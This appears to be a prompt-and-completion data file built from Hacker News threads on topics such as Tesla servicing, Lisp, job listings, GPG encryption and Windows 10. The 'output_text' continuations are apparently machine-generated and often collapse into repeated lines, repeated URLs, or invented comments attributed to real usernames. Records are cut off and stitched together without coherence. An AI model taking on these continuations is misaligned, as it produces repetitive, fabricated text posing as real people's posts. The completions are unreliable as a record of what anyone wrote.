eight funeral homes, you\u2019d expect 4k-5k at each location. (Since\npeople were allegedly locked into apartments or at least apartment complexes,\napparently they weren\u2019t picking up ashes until now.) So \u201cthousands\u201d at each\nlocation tells us precious nothing.\n\nArticle is intentionally misleading, burying the \u201cnormal\u201d stats that way.\n\n------\nm3kw9\nBut they were not found to shed viruses.\n\n~~~\nwizzwizz4\nDoesn't mean they were found not to.\n\n------\nurda\nIt's not a mystery. China is for sure not telling the truth. Remember this is\na country with massive censorship issues and have even kicked out foreign\nreporters.\n\nI'd like to know what the downvotes are? Because everything here is factually\ntrue.\n\n \n\nAsk HN: Do you use Wolfram Alpha? - raphar\n\nI'm curious about the usage of Wolfram Alpha. How frequently do you search with it?

I think I'll use Wolfram Alfa

a) once a month\nb) once a week\nc) dayly\nd) hourly!!

[have you found a killer application of the engine???]

(also have you found a use to it?)\n======\nraphar\nI think they"} +{"output_text": "\n\nI'm not saying that there was a 'conspiracy' to keep women out of tech, but\nthere was a lot of 'social pressure' to keep women out of tech.\n\n~~~\nbeat\nI'm not sure I agree with that. I think the \"IT Professionals\" label is\nmeaningless. There are a lot of people who call themselves \"IT Professionals\"\nwho are not really IT professionals.\n\nI think the real question is", "input_text": "\nbecause the entire product was devoted to rapidly filling social profiles and\nspinning up the microsites that were user accounts, mining those accounts for\ninformation, and then integrating as a platform for advertisers and game\ndevelopers. None of that tech is really stuff they could've outsourced and\nstill had a business--they couldn't have just white-labeled MySpace for\nexample and gotten away with it.\n\n------\ncoldcode\nDid anyone else find the constant shifting colors irritating?\n\n~~~\nEtheryte\nYes! Closed the page as soon as I figured out what was going on.\n\n~~~\nKiro\nThat seems like an extreme reaction to be honest.\n\n------\naedron\nInteresting answers on lack of gender diversity in IT: Most of the men believe\nthe reason is that there just aren't that many women entering the field, while\nalmost all the women blame bias at various stages of education, hiring and\npromotion. Someone has a cognitive dissonance.\n\n~~~\nwhoops1122\nthere were less than 5 girls on my computer science class, so unless woman are\nclaim that they should have the job without education. I can totally see the\nreason why there is a gender diversity in IT?\n\n~~~\nbeat\nWhy is a computer science background necessary for an IT career? I know many,\nmany IT professionals who did not study CS in college.\n\n~~~\nci5er\n\"IT Professionals\" is a broad label. Maybe we can think of getting a 'degree\nin a field' as a proxy-variable for 'interest in the field'. What's\nastonishing to me is through the 60s, 70's and into the mid-80s, computer-tech\ninterest in female cohorts tracked with science, law and medical fields."} +{"output_text": " Toyota.\n\n~~~\njoezydeco\n_Tesla isn 't making cars for everyone (yet) but instead focusing on\nexpensive/luxury cars. Rather than compare against GM/Honda/etc. How do they\ncompare against Maserati/Aston Martin/etc.?_\n\nI think the comparison is more to the BMW 3-series and Mercedes C-class.\n\n~~~\nal_biglan\nI think you are right.", "input_text": "\nHigher usage rates) we need modular design to have replaceable and upgradable\nparts, without throwing away what works.\n\nThat's why we created OSVehicle,the first open source electric vehicle\nplatform. www.osvehicle.com\n\n------\nal_biglan\nInteresting, but Tesla is both just getting started and \"feeling the space\" in\nthe auto industry. They have taken pride in taking a different approach to\ntraditional car companies and I imagine some of the wording around the\nExtended Warranty is simply being new and not copy-pasting examples from other\ncompanies.\n\nAlso, Tesla isn't making cars for everyone (yet) but instead focusing on\nexpensive/luxury cars. Rather than compare against GM/Honda/etc. How do they\ncompare against Maserati/Aston Martin/etc.?\n\nFinally, as a young company, it may indeed be their _goal_ to build cars that\nlast forever, but the first few generations they are still pushing the\nenvelope of (their) understanding. In this case, bringing ell cars back to\ntheir repair centers may be the \"right\" way to build this experience into\ntheir future automobiles.\n\nSo... \"yeah, they aren't making cars that will last more than N years unless\nyou, as an owner, are prepared to sink a bunch of cash into achieving this\" It\nmay be more interesting to watch the auto that replaces the Model S. Both in\nterms of their timeframe for introducing new models (beyond expanding into\ndifferent classes of vehicles) as well as how they adopt what they learn into\nmore fundamental design changes. Thank you to all those cutting edge people\nwilling to buy Teslas now. I'll wait 5-10 years till they get mainstream and\nkeep my Honda and"} +{"output_text": "BC\ndriver. I do not want to write my own web server. I do not want to write my\nown database. I do not want to write my own compiler. I do not want to write\nmy own operating system. I do not want to write my own compiler. I do not want\nto write my own operating system. I do not want to write my own compiler. I do\nnot want to write my own operating system. I do not want to write my own", "input_text": " aren't obligated to participate in debates. Nor do you have to use the\nabsolute best version of Lisp to get most of the benefits.\n\nMy advice is to pick up a copy of MIT Scheme (works on Windows) and then work\nthrough Structure and Interpretation of Computer Programs (SICP), and don't\nread anything else about Lisp until you're done, because you don't need to.\n\nMIT Scheme isn't the best Lisp. It's just the Lisp that's used in SICP. You\nwon't win any debates arguing that MIT Scheme is the best Lisp. You might even\nhear people say MIT Scheme isn't even a Lisp. I agree with some of that, but\nthose debates are irrelevant to your learning.\n\nFeel free to hit me up with any questions. I certainly have opinions on all\nthe holy wars, but I won't bring them up, I'll just help you with the task\nyou're working on. :) I'm not a Lisp expert by any means, but I've worked\nthrough most of SICP.\n\n~~~\nat_a_remove\nI have looked over the site once a long time ago, when I had a copy of SICP in\nhand. I just looked now.\n\nWhat I do not see is a robust set of libraries that can help me accomplish the\nsolving of real-world problems. As mercenary as it sounds, I program to solve\nproblems my employer has in exchange for money. I solve problems that people\nhave, rather than problems that books abstractly propose. While Lisp or\nwhatever dialect might be lovely, it may as well be Logo for practical tasks.\nI do not want to re-implement JSON. I do not want to try to write my own OD"} +{"output_text": " Russia) and a few other guys.\n\n* Worked on a few projects with a few other guys.\n\n* Worked on a few projects with a few other guys.\n\n* Worked on a few projects with a few other guys.\n\n* Worked on a few projects with a few other guys.\n\n* Worked on a few projects with a few other guys.\n\n* Worked on a few projects with a few other guys.\n\n", "input_text": "app.com](https://ajahcs.herokuapp.com)\nEmail: talk2ajah@gmail.com\n\nI am a mechanical engineer by training which I believe gives me some leverage\nin viewing problems with a broad perspective. Also, I am willing to learn new\ntechnologies and work in a cross-cultural environment.\n\n------\nDim25\n\n Location: San Francisco, CA, USA \n Remote: Yes \n Willing to relocate: Yes \n Technologies: Full-stack with Machine Learning experience. PM for remote team. \n R\u00e9sum\u00e9/CV: https://bitly.com/dima_cv1 \n Email: dima_cv1@protonmail.com \n \n \n\nHi all, I'm Dima\n([https://www.linkedin.com/in/dim25/](https://www.linkedin.com/in/dim25/)),\nworked on various tech (Webdev+Python+ML) and non-tech roles. Most recent\nprojects:\n\n* Analyzing millions of job postings. Orchestration (Airflow, Docker); Data gathering (Selenium; Scrapy; MitmProxy), enrichment, and analytics. [Role: Founder + core developer]\n\n* CCTV Stream analytics (TensorFlow computer vision w/ Kurento WebRTC gateway). [Role: ML engineer]\n\nPreviously:\n\n* Co-founder at MBaaS startup. 'Firefighter' from $0 to $120K MRR.\n\n* Hired and managed a team of 15 mobile developers to assist with the delivery of the #1 mobile banking app in Russia (iOS + Android).\n\n* AWM, rev-share with Kinks (guys from"} +{"output_text": "/signinwithapple/](https://developer.apple.com/signinwithapple/)\n\n~~~\njack_riminton\nThanks! I'll add it in.\n\n------\njoshstrange\nI'm not sure if this is the right place to ask this but I'm curious if you\ncould add a \"show HN\" button to the site? I'm not sure if I'm missing it or\nwhat but I'm not seeing it.\n\n~~~\n", "input_text": " tried\nto have the benefits. I'll think through it and see what I can do to make it\nclearer.\n\nI couldn't find the thread about promoting beta sites. If you can give me the\nlink I would appreciate it.\n\nThanks Again.\n\n~~~\nlaurabw\nYou're welcome! This is the thread I meant:\n[https://news.ycombinator.com/item?id=6488822](https://news.ycombinator.com/item?id=6488822)\n\n------\nericthegoodking\nI am sorry i still don't understand what your start-up does after reading \"I\nhope to help you be awesome at settling complex arguments\". Are you providing\nlegal services or something?\n\n \nShow HN: GIF Directions - jack_riminton\nhttps://gif.direct\n======\njack_riminton\nThe problem I was trying to solve is the difficulty/speed of finding places\nrelying on 2D tech of maps and GPS.\n\nFor some scenarios (unmapped areas, indoors, congested environments, no\naddress system) a gif makes finding a place much easier.\n\nFuture improvements: multiple gifs for each place (for different approach\ndirections), unique links for specific deliveries e.g.\ngif.direct/redhouse/123456\n\nIts my first coding project I've shipped so any feedback greatly appreciated\n\nStack: Rails, a bit of JS for maps (leaflet), python AWS Lambda for video\nprocessing (MoviePy, FFMpeg), S3\n\n~~~\nkohtatsu\nIt looks really good: the idea is cute, and your intro video is great.\n\nWould you be open in adding Sign in with Apple?\n\n[https://developer.apple.com"} +{"output_text": "images/fb_icon_325x325.png)\n\n[http://www.facebook.com/images/fb_icon_325x325.png](http://www.facebook.com/images/fb_icon_325x325.png)\n\n[http://www.facebook.com/images/fb_icon_325x325.png](http://www.facebook.com/images/fb_icon_325x325.png)\n\n", "input_text": "en\", \"white\"]\n\nmushroom cloud:\n[http://www.atomicarchive.com/Effects/Images/WE12.jpg](http://www.atomicarchive.com/Effects/Images/WE12.jpg)\n\n[\"fire\", \"bomb\", \"mushroom\", \"flame\", \"letter\", \"font\", \"hell\", \"volcano\",\n\"smoke\", \"burn\"]\n\n------\nsjtrny\nVery optimistic. Got a picture of a Hyundai. Reckons it's a BMW or Audi.\n\n[http://www.airnorth.com.au/sites/default/files/Car%20hire%20...](http://www.airnorth.com.au/sites/default/files/Car%20hire%20-%20Budget%20Hyundai%20i30%20-%20LR.jpg)\n\n[\"car\", \"bmw\", \"auto\", \"sport\", \"3d\", \"vector\", \"white\", \"blue\", \"front\",\n\"audi\"]\n\n------\nNavarr\nTried a Pok\u00e9mon card and got \"semi relevant\" results\n\n[http://sixprizes.com/wp-content/uploads/pikachu-next-\ndestini...](http://sixprizes.com/wp-content/uploads/pikachu-next-destinies-\nnde-39.jpg)\n\n[\"background\", \"card\", \"kid\", \"vector\", \"design\", \"school\", \"book\", \"frame\",\n\"cartoon\", \"dog\"]\n\n------\nabbottry\nFacebook Logo:\n[https://www.facebook.com/images/fb_icon_325x325.png](https://www.facebook.com/"} +{"output_text": ", had a body shop do a full frame-off on his car, and\nthen had to replace the entire front end due to a collision.\n\n~~~\nphkahler\nI'm not saying it's impossible, just that it's not a big deal. I'm not\nsuggesting that you should do it, just that it's not a big deal.\n\n~~~\nmdorazio\nI'm not suggesting you should do it either, but I'm not", "input_text": " use it. I worry after the warranty expires that I will be\nat the mercy of Tesla for any service and support, which is an unknown\nquantity right now. I've seen the terrible spot a product owner can be left in\nwhen a manufacturer decides (for whatever reason) that service and support are\nnow their primary profit center. Not only are you screwed in that your product\nnow costs a fortune to maintain, your product is now essentially worthless for\nresale because everyone knows the cost to maintain and repair it makes it\nuneconomical. (See, e.g. several private aircraft companies which went\nbankrupt)\n\n------\nphkahler\nThis is dumb. Can you replace the tie rods, brake pads, tires? So long as the\nregular maintenance items can be handled I don't see a problem. Electronic\nparts on other cars are getting herd to replace too - they do things like\nrecord the VIN code upon first use and refuse to work in a different car, all\nin the name of anti-theft. Also, as people get excited about self driving\ncars, safety becomes a huge concern. You have throttle, brakes, steering,\ncamera systems, radar, all working together to achieve that. You're not going\nto be tampering with any of that stuff on any car in the near future.\n\nSo if regular maintenance items can be replaced, and body damage can be\nrepaired, I don't see the complaint.\n\n~~~\nmdorazio\nYes, basic maintenance like you describe is entirely possible to do on your\nown or at any normal mechanic. Body work can be done at normal high-end body\nshops as well, with the caveat that getting replacement panels from Tesla is\nexpensive and challenging due to their limited production capacity.\n\nSource: Friend's Tesla"} +{"output_text": "\".\n\n~~~\nnakedrobot2\nI don't use Google search results, I use DuckDuckGo.\n\n------\njoshstrange\nI've been using Adblock Plus for years now and I've never had a problem with\nit. I've never had to disable it and I've never had to whitelist anything. I\ndon't know what the issue is.\n\n~~~\njoshstrange\nI'm not sure if this is the", "input_text": " main downside I can imagine is that the centralized gatekeeper (Google)\nwon't treat the optimized content the way it treats AMP content today. But, we\nare locking ourselves into Google's solution if we let that stop us from\nexploring better alternatives.\n\n~~~\nwmf\n[https://wicg.github.io/ContentPerformancePolicy/](https://wicg.github.io/ContentPerformancePolicy/)\n\n~~~\ncdata\nScript execution time is a major source of jank / lag on mobile devices. What\nif I don't want any script to be executed beyond what is needed by a\nlightweight runtime?\n\nAMP actually has a lot of really neat technical approaches to enabling rich\ncontent, based on open web standards. CPP seems like a nice tool for the\ntoolbox, but it doesn't seem like a satisfying 1:1 alternative to AMP.\n\n \n\nAnnoyance-free web surfing - giis\nhttps://adblockplus.org/en/\n\n======\nnakedrobot2\nI actually don't mind Google Ads because I rather often see ads for obscure\nproducts that I find interesting and wouldn't have otherwise come across -\nthat's almost the textbook definition of what advertising is _supposed_ to do.\n\nBut then there are the obnoxious, foul, impolite ads full of auto-playing\nvideos, sound, mail order brides, scammy fake \"download\" buttons next to the\n\"real\" download button.... and because of these things that pollute my\nconsciousness, I'll forsake the google ads as well.\n\n~~~\npedrogrande\nIf you right-click the AdBlock Plus icon in your browser and choose options,\nthe first option on the General tab reads \"I like the text ads on Google\nsearch results"} +{"output_text": "\n\n\n------\njoshu\nI think the author is confusing the \"science\" of economics with the \"science\"\nof physics.\n\n------\njoshu\nI think the author is confusing the \"science\" of economics with the \"science\"\nof physics.\n\n------\njoshu\nI think the author is confusing the \"science\" of economics with the", "input_text": " real people with\nreal purposes. That's why it's so amazing to me that scientists, and people\ncalling themselves scientists, would propose to study the internet as if it\nwere some natural system - like the weather, or a coral reef._\n\nYou can use science to study all sorts of systems, ranging from the oceans to\nthe internet to economics. They don't have to be natural.\n\nAll that matters is whether you apply the scientific method to the phenomenon\nyou are studying. Many economists do this, so (at least part of) the field of\neconomics is scientific.\n\nYou might be able to imagine another world in which the laws of economics\ndon't work. Ok, so what? You can imagine worlds in which the laws of physics\ndon't work, it doesn't make physics unscientific.\n\n------\nreader5000\nHis point is not what the definition of'science' is. His thesis is that in\nthe late middle ages society operated on a'mutual credit system' (wikipedia\nit) of exchange where the merchant classes were independently creating and\nexchanging value. This mutual credit system was usurped for a centralized\ncurrency system where value creation is tightly controlled by the state (i.e.\nin the form of loans of a monopolized currency; what we have today).\nCentralized currency discourages cooperation and forces unnatural selfish\ncompetition between individuals, to the benefit of the corporate ownership.\nThis unnatural state is reinforced as natural through corporate sponsorship of\nintellectuals like Dawkins and Pinker (even though if you read them both of\nthese authors works are agnostic on this point). Then he makes an unclear\npoint about how the internet changes all that.\n\n------\narihelgason\nThat's why it's called 'the dismal science' -"} +{"output_text": " single click.\n\nWe're looking for mid-level and senior engineers to join our team. We're\nlooking for people who are comfortable with a variety of technologies,\nincluding Python, Go, Java, and JavaScript. We're also looking for people who\nare comfortable with the full stack, from front-end to back-end.\n\nWe're a small team, so you'll have a huge impact on the success of our\nbusiness. We're looking for people who are", "input_text": " Stack Developer\n\nFounded in 2016 and headquartered within the heart of London in Somerset\nHouse, Pimloc Ltd is a machine learning company focussed on developing and\nenabling private and personalised image management solutions. Pimloc has\nsuccessfully raised its first round of funding through its founders and UK\nbusiness angels. The founding team includes some of the world's foremost\nthinkers in deep learning visual technology and computer vision application\ndevelopment across a range of fields.\n\nWe are looking for someone to research and train new deep learning based\narchitectures and algorithms to improve our current solution as well as\ndevelop new ideas for the next generation of personalised image search.\n\nWe are also looking for a full stack developer to help design and develop a\ndeep learning based AI image search system that can run on embedded devices as\nwell as being deployed in the cloud. We need someone who is enthusiastic about\nall aspects of system design and code development whether it be programming\nDSPs or developing cloud infrastructure.\n\nRead the full descriptions at [http://pimloc.com/jobs](http://pimloc.com/jobs)\nor email jobs@pimloc.com for a chat.\n\n------\nemily_mikailli\nSignifyd | Mid-level / Senior Software Engineer | San Jose | Onsite | Full-\ntime\n\nSignifyd is a 115-person startup that was named one of the 50 most innovative\nFintech companies of 2016 by Forbes, and our engineers build systems that\ncatch bad guys. Using all available payment, user, and machine data, we have\nto separate legitimate credit card transactions from fraudulent in under\n400ms. That means doing just-in-time mash-ups of internal data with external\nAPIs and reducing it all into a single score with a"} +{"output_text": "stackoverflow.com. I also applied to a few other places.\n\n~~~\nthrowaways\nThanks for the advice. I'm not sure if I'm applying to jobs where my skills\nmatch what was being advertised. I'm not sure if I'm applying to jobs where\nmy skills match what was being advertised. I'm not sure if I'm applying to\njobs where my skills match what was being advertised. I'm not sure if I'm\napplying to jobs where my", "input_text": "x27;m curious about how many job applicants you the employers are seeing from your posts on the monthly Who is Hiring threads.

The number of companies posting jobs has been increasing every month this year (I'm assuming as the site gets more popular) which would indicate there is also many more job seekers coming here every month applying.

I've been relying on just this site for finding jobs for a few months now and haven't had a breakthrough yet, so I'm curious if I'm just a low quality applicant or is the competition really that fierce.

Post from throwaways or don't include your company's name if you don't feel comfortable. I'm just interested in seeing some numbers.

Thanks.\n======\nloumf\nWe probably need a little more information to help. In my experience, I got\nenough very close matches from past companies (1 or 2) that I didn't need to\nlook at other promising candidates. The number of applicants is irrelevant --\nwhat matters is the number of good applicants that are a match for what I am\nlooking for and I only need 1.\n\nThere is generally a shortage of engineers, but you still need to find a good\nmatch for what you can offer.\n\n1\\. Are you applying to jobs where your skills/level/location match what was\nbeing advertised?\n\n2\\. Is that clear from your application? Did you write a custom cover letter\nthat specifically draws attention to the match?\n\n3\\. Generally what level are you? What is your strongest tech stack/language?\nLocation?\n\nI recommend trying out other places. I got my current job on\ncareers."} +{"output_text": "arnest | Software Engineer | San Francisco, CA | Full-time | Onsite\n\nEarnest is a financial technology company that helps people save for their\nfuture. We are building a platform that allows people to save for their\nretirement, college, and other goals. We are a small team of engineers and\ndesigners who are passionate about building products that help people save\nmoney.\n\nWe are looking for a software engineer to join our team. You will be working", "input_text": "\noffice. No prior knowledge of Spanish is required. The link to apply is\n[http://bit.ly/backend-eng-tk](http://bit.ly/backend-eng-tk)\n\n------\nshan28harris\nSmugMug | Mountain View, CA | Frontend Engineer | ONSITE, REMOTE | Full Time\nPhoto sharing We are looking for a seasoned frontend engineer!\nResponsibilities \\- Design, develop, enhance and maintain the frontend of the\nbest photo sharing site on the internet, duh! \\- Own a significant stake from\ninception to launch in projects that have a direct impact on customer\nacquisition, new user experience, and growing our customers\u2019 business revenue\ngrowth. \\- Collaborate in designing and developing intuitive, responsive\ninterfaces in HTML, CSS, and JS, working in React, redux and ES6. \\-\nIncorporate and refine JS modularization, automated test coverage, A/B\ntesting, internationalization, accessibility, and build tooling \\- Be active\nin code reviews and discussions to learn, share knowledge, and improve code\nquality across the codebase Must haves \\- 5+ years of experience building\nlarge-scale server-based web applications \u2022 2+ years of experience developing\necommerce solutions, or new user \\- Substantial experience working with HTML,\nCSS, and vanilla JavaScript \\- Thorough comprehension of frontend UX design,\nperformance optimization, and JS architecture and methodologies \\- Deep\nunderstanding of web form usability and security concerns\n[https://jobs.smugmug.com/Job-\nOpenings?gh_jid=586094](https://jobs.smugmug.com/Job-Openings?gh_jid=586094)\n\n------\nmichael_schmidt\nE"} +{"output_text": "\nconferencing.\n\n[1] [http://www.nytimes.com/2015/06/01/opinion/uber-and-the-\nlaw-...](http://www.nytimes.com/2015/06/01/opinion/uber-and-the-law-of-the-\njungle.html)\n\n~~~\nzzalpha\n_The reality today is that there is a large lobby of litigators actively\ntrying to", "input_text": "igration laws this won't happen any time soon. Had it been about\nPatent/IP litigation and any other lawyer the tone of the article would be\ndifferent.\n\nThis is parasitic legal rent seeking at its worst, let's call a spade a spade.\n\nHere is an WSJ article that calls for change in labor laws.[1]\n\n[1] [http://www.wsj.com/articles/what-if-there-were-a-new-type-\nof...](http://www.wsj.com/articles/what-if-there-were-a-new-type-of-worker-\ndependent-contractor-1422405831)\n\n~~~\nzzalpha\n_This is parasitic legal rent seeking at its worst, let's call a spade a\nspade._\n\nOr, its someone fighting organizations profiting illegally by flouting labour\nlaws that have protected workers from corporate exploitation for decades.\n\nBut potato, potahto, right?\n\n~~~\nsecondtimeuse\n\"Fighting organizations\" is a rhetorical device used by lawyers to fool\ngeneral public and people like you.\n\nThe reality today is that there is a large lobby of litigators actively trying\nto keep any change in labour/Patent laws from happening. [1]\n\nI own no shares of Uber Inc. and any other companies involved in these\nlitigations. But the reality is that by framing this incorrectly as David (The\nattorney) vs Goliath (Uber et. al.) fight the article is just pushing your\nemotional buttons. At end of the day litigation is not going to magically\ncreate jobs out of thin air. Uber will eventually shift to autonomous cars or\nwill go bankrupt or might end having chinese drive the cars via video"} +{"output_text": " no respect for their customers.\n\n~~~\njoshstrange\nI'm not sure I understand your point. I don't think they're closing their\necosystem, they're just not going to be pushing updates that break things.\n\n~~~\npkgapkg\nI'm not sure I understand your point either. I'm not sure I understand the\npoint of your comment either.\n\n------\njoshstrange\nI'm not sure I understand the point of", "input_text": " ecosystem of compatible products available,\nthe ZigBee protocol and third-party light bulbs.\n\nI'm sure that third-party products were causing problems, however, wholesale\nblocking of them via software update is a terrible solution. They, literally,\nturned out the lights on their customers. Meanwhile, I'd be willing to bet\nsupport costs _immediately_ spiked -- people call support when things don't\nwork and they just pushed out a solution that _increased_ rather than\ndecreased that.\n\nUnfortunately, I think they've bruised their reputation quite a bit with this\nmove. It's now delayed my purchase of such a product until I am convinced that\nthey have a solid third-party certification program in place (with very low\nlicensing fees) or (even better) a guarantee with the product that they won't\ntry this again when the market is more mature and they have the option of\nignoring complaining customers.\n\nTheir competitors could see a rise in sales by taking advantage of this\nblunder and committing to open protocols. I haven't looked at the landscape in\nthis category, yet, and had just assumed I'd be buying the Philips Hue\neventually, but they've motivated me to do more research.\n\n~~~\npkgapkg\nTheir move concerned me, because now I don't know if this is \"we won't close\nour ecosystem\" or \"we won't close our ecosystem YET\". I don't feel like waking\nup and discovering that they've decided that they now have enough market share\nto be abusive and controlling. Most of my existing ZigBee stuff isn't as slick\nas the Hue stuff, but I know it won't get turned off.\n\nI get that people make mistakes, but their original move showed that Philips\nhas essentially"} +{"output_text": "\n\n~~~\nmike-cardwell\nI'm not sure why you're being downvoted. I'm not sure why you're being downvoted\neither.\n\nI'm not sure why you're being downvoted.\n\n~~~\nschroedinger23\nI'm not sure why you're being downvoted.\n\nI'm not sure why you're being downvoted.\n\n~~~\nmike-cardwell\nI'm not sure", "input_text": " Microsoft Edge with minimal changes.\" but not how to actually add the\nextension or anything to get going.\n\n~~~\nvxNsr\nYeah, it looks like four now they're only doing joint official extensions.\nBasically you gotta work with someone at Microsoft to have your extension\nadded to the store. Otherwise you can create a regular chrome extension and\nside load it, and it works like 75% of the time.\n\n \n\nEncryption with Gnu Privacy Guard (GPG) - triberian\nhttp://digital-era.net/encryption-with-gnu-privacy-guard-gpg/\n\n======\njmnicolas\nOn all the encryption tutorials I found they always assume 2 and only 2 people\ntrying to talk privately.\n\nI wonder how would one encrypt a conversation between say 15 people.\n\n~~~\nmike-cardwell\nMultiple -r's:\n\ngpg -e -r recipient1@example.com -r recipient2@example.com\n\nThat products some ciphertext which can be decrypted by either recipient.\n\n~~~\nroberto\nI learned this the hard way when using gpg+mutt back in 2001. All my Sent mail\nwas being encrypted only with the recipient's key, so I couldn't read it\nmyself. There's an option to also encrypt outgoing email with your own GPG\nkey.\n\n~~~\nclogston\nIn case anyone is wondering how to make this the default behavior:\n\n\"encrypt-to YOUR_KEY_ID\"\n\nin your gpg.conf\n\n------\nschroedinger23\nThis article also suggests that you should use a 2048 Bit key, and you really\nshouldn't. Better to go with 4096 Bit. And I guess every CPU is fast enough."} +{"output_text": " much of this is just a PR stunt.\n\n~~~\ndshanahan\nI think it's a PR stunt.\n\nI think it's a PR stunt because I think it's a PR stunt.\n\nI think it's a PR stunt because I think it's a PR stunt.\n\nI think it's a PR stunt because I think it's a PR stunt.\n\nI think it's a PR stunt because I think it's a PR stunt.\n\n", "input_text": " to curry favor.)\n\n------\ndshanahan\nHey guys, so that's my post. I'm the founder who was here with Jamie, who I\nconsider a friend and think is a really talented and genuine guy. I've watched\nthis story grow and I think even Jamie might agree that it's been hard (and\nlargely inappropriate) to communicate all the specific details which might\ninform such a wide audience on the events around here.\n\nI was specifically emailed by 'icey' to jump in and be a resource. He/she\nasked me specifically regarding the stated financing situation prior to my\nmoving to Vancouver from Chicago and joining Bootup.\n\nIt was contingent on closing the round. I'm not sure what to say other than\nthat was clear. I took that risk knowingly.\n\n~~~\nicey\nIt was made clear, or it was clear because you read through all the\nagreements?\n\nI'm asking because I think it's a different story if it was buried in some\nfine print versus stated clearly up front.\n\nJamie is the one who brought such a wide audience to the story, but he didn't\nmention anything about being aware of the chance that there may not be any\nfunding.\n\nI still think that what Bootup has done is pretty shady, but it may end up\nbeing less shady than the blog posts have made it sound.\n\n~~~\ndshanahan\nI re-read my answer to your question and wanted to clarify; the fact that\nfunding wasn't secure was clear before I moved to Van. It was included as a\ncontingency on the (simple and short) term sheets.\n\n------\nicey\nThey knew that all of the funding was contingent ahead of time?\n\nI wonder how"} +{"output_text": "\nI'm not sure if this is a good thing or not. I think it's a good thing that\nthey are trying to make money. I think it's a bad thing that they are trying\nto make money by screwing their customers.\n\n~~~\njrockway\nI think it's a good thing that they are trying to make money. I think it's a\nbad thing that they are trying to make money by screwing their customers.\n\nI think it", "input_text": "\nThanks for the reminder, this will be fixed this afternoon :)\n\n------\nchris123\n\"Closing the barn door after the horse is gone\" is the first thing that popped\ninto my mind when I read this headline.\n\nThe second thing was that they were being \"penny wise and pound foolish\" when\nthey raised prices in the first place (last October, I guess it was). So they\ngot like six months of revenue bump, pissed a lot of people off and created an\nopportunity for at least one big and viable competitor. Smart.\n\nAnd now they flip flop.\n\nThe message is that if they think they can bend you over a barrel and have\ntheir way, they will. And then, if the competitive landscape changes, giving\nyou a chance to get their dick out of your *ss, they will try to kiss and\nmakeup (until they sense their next opportunity to bend you over). What did\nidiot Bush say? \"Fool me once, shame on you... Fool me twice...\"\n\n\n~~~\nww520\nGoogle has lost lots of credibility among 3rd party developers using their API\nand services with the dramatic price hike with Google Maps and AppEngine. You\nwould never know when they will decide to jack up the price again.\n\n~~~\nangkec\nExactly what I was thinking. First reaction from me was that they will raise\nthe price again when they gain market share, second reaction was a quiet note\nto myself that if they ever drop price on AppEngine like they did to GMap I\nshall not go back since my startup was hurt so bad with their vendor lock-in\nand dramatic price raise.\n\n------\njeffnappi"} +{"output_text": " miss is the ability to run a VM on a windows machine\nand run linux apps.\n\n------\njedberg\nI've been using Windows 10 for a few months now and I'm really enjoying it.\n\nI'm not a power user, but I've been able to get a lot of stuff done.\n\nI've been able to use the new Windows Subsystem for Linux to run a Linux\ndesktop. I've been able to use the new Windows Subsystem for", "input_text": "absolutely crush windows' update attempts every time I boot up. Microsoft\ndeserves hate for not giving users simple permissions over their own systems.\n\n------\ntasogare\nIt took almost 5 years for Apple to recognize and fix the butterfly keyboard,\nwhich was an obviously bad design. Microsoft is 5 years in with Windows 10 but\nthey are no sign of awareness at all about how crappy it is. Which is sad\nbecause Windows has some good points and advantages (I love Visual Studio,\nnotably), but it's not useable as a daily driver anymore since Win8.\n\n------\nfuu_dev\n\"Most malware writers target Windows as the most popular desktop OS, so it has\nthe biggest number of viruses among all other OSes (over five thousand new\nviruses daily).\"\n\nI thought the article had the aim to showcase solvable issues.\n\nYet it seems to more often just point out the same issue (e.g. privacy),\n\nminor issues(inconsistency in legacy apps)\n\nand even suggest harmful practices (disable security software, never\nupgrade...).\n\n------\nnojvek\nI just bought a new MacBook Pro. I don\u2019t like it but I couldn\u2019t think of a\nbetter alternative. I like OSX, been very used to it. I worked at MS and still\nhate windows (the default track everything philosophy is a big deal breaker).\nLinux for the desktop may come next year.\n\nI really wish Microsoft listened to its customers and stops the track\neverything crap.\n\n------\nksbakan\nBeen using win7 since forever. Win10 is such a huge step back that I just\ninstall win7 even on new PCs. Even hidipi works almost as well on win7.\nProbably the only thing I"} +{"output_text": "\nHow to make a website that looks like a magazine - johnny-x\nhttp://www.johnny-x.com/blog/how-to-make-a-website-that-looks-like-a-magazine/\n\n======\njamesjguthrie\nI'm not sure if this is a good idea, but I've been thinking about doing this\nfor a while.\n\nI'm not sure if it's a good idea", "input_text": "foryou.js\" : it only takes care of the \"boring\" stuff\n(manipulating DOM, binding data) and lets you do whatever you imagine. So it's\nmore like \"build this chart writing only the 19 lines of javascript that\nmatter\".\n\n------\ndgabriel\nAlas, the site is down. I'd love to see this.\n\n~~~\nlouischatriot\nI just checked and it is up, you can retry!\n\n \n\nGluePrint - Implement Designs Pixel Perfect - koenbok\nhttp://glueprintapp.com\n\n======\navelis\nSlick tool. There are scenarios where this does work and work well (e.g.\nstatic layout) but for responsive web layout design involving transitions this\nfalls a little flat.\n\n------\nkilling_time\nThis looks like a neat tool, with a nice simple solution to a common UI\ndevelopment problem.\n\nWhat image file formats can be used as mockups?\n\n~~~\nkoenbok\nPretty much any image format OSX supports.\n\n~~~\nkilling_time\nThanks for making this - seems to work with PSDs so that's great. This tool\nhas already saved me a bunch of time this week!\n\nOne feature request would be to make the app automatically refresh the overlay\nwhen the source file changes, or to have a keyboard shortcut to refresh from\nthe saved file. This would be useful when toggling layers on/off in Photoshop\nto look at different states of a screen. Cheers!\n\n------\nmannylee1\nAny Linux alternative to this? Nice work.\n\n------\nzapt02\nWindows version plix. :(\n\n------\nthebiglebrewski\nAmazing! Nice work!\n\n "} +{"output_text": " but\nthey're not. They're just a way to get people to write down their password.\n\n~~~\njrockway\nI don't know if it's a security hole, but it's a pain in the ass.\n\n------\njrockway\nI'm not sure if this is a good thing or not. I think it's a good thing that\npeople are using passwords that are easy to remember. But I think it's a bad\nthing that people are", "input_text": " and search for a TV show you want to watch,\nyou will find the whole episode. With Google video you will get 3 minute\nclips. Baidu also has an excellent mp3 search. Looking for a movie to watch?\n\nGoogle has made plenty of mistakes in China. For starters most of Googles\ndocumentation is blocked in China thanks to the way China and Google have set\nthe network.\n\n \nMost common passwords list from 3 databases - Anon84\nhttp://blog.jimmyr.com/Password_analysis_of_databases_that_were_hacked_28_2009.php\n======\njrockway\nThe passwords say a lot about each site's userbase.\n\nsingles.org users commonly use passwords with religious meaning, like \"jesus\",\n\"pastor\", and so on. Apparently this is a site that appeals to the religious\nfolks.\n\nphpBB has things like 